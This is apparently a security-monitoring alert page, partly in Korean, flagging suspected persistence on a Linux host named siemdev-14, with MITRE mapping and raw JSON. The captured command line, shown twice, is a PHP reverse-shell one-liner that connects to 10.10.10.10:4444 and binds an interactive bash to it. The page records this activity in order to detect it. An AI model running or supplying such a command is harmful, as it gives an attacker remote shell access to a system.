Alert Information
High
- Alert ID
ind:021368f9220b45cdb2760a069897c1c8:1766234356075261200-30106-1338384- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234356075261200-30106-1338384- 설명
- The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.
- 호스트
- siemdev-14
- 상태
- new
- 생성 시간
- 2025-12-20 21:40:18
- 업데이트 시간
- 2025-12-20 22:39:18
MITRE ATT&CK
- Tactic
- Persistence
- Technique
- External Remote Services
Command Line
bash -c timeout 5 bash -c 'php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/bash -i <&3 >&3 2>&3");''
Raw JSON Data
{"id":"ind:021368f9220b45cdb2760a069897c1c8:1766234356075261200-30106-1338384","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234356075261200-30106-1338384","agent_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"The activity appears to be related to an adversary establishing persistence. The host may already be compromised and the activity should be investigated further to find the source.","severity":70,"severity_name":"High","confidence":80,"tactic":"Persistence","tactic_id":"TA0003","technique":"External Remote Services","technique_id":"T1133","cmdline":"bash -c timeout 5 bash -c \u0027php -r \u0027$sock=fsockopen(\u002210.10.10.10\u0022,4444);exec(\u0022/bin/bash -i \u003C\u00263 \u003E\u00263 2\u003E\u00263\u0022);\u0027\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"a59fc4da19d169c175b247bfaf4a21c2ee7c16c3ed2820daa807ab12affe98fc","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:40:18.398931751Z","updated_timestamp":"2025-12-20T13:39:18.624276295Z","device":{"device_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"siemdev-14","local_ip":"172.17.0.1","external_ip":"211.198.135.5","mac_address":"16-bc-32-c0-b2-f4","platform_name":"Linux","os_version":"Rocky Linux 10.1"},"aggregate_id":"aggind:021368f9220b45cdb2760a069897c1c8:25810221869","CreatedAt":"2025-12-20T21:40:18.3989318+09:00","UpdatedAt":"2025-12-20T22:39:18.6242763+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
021368f9220b45cdb2760a069897c1c8
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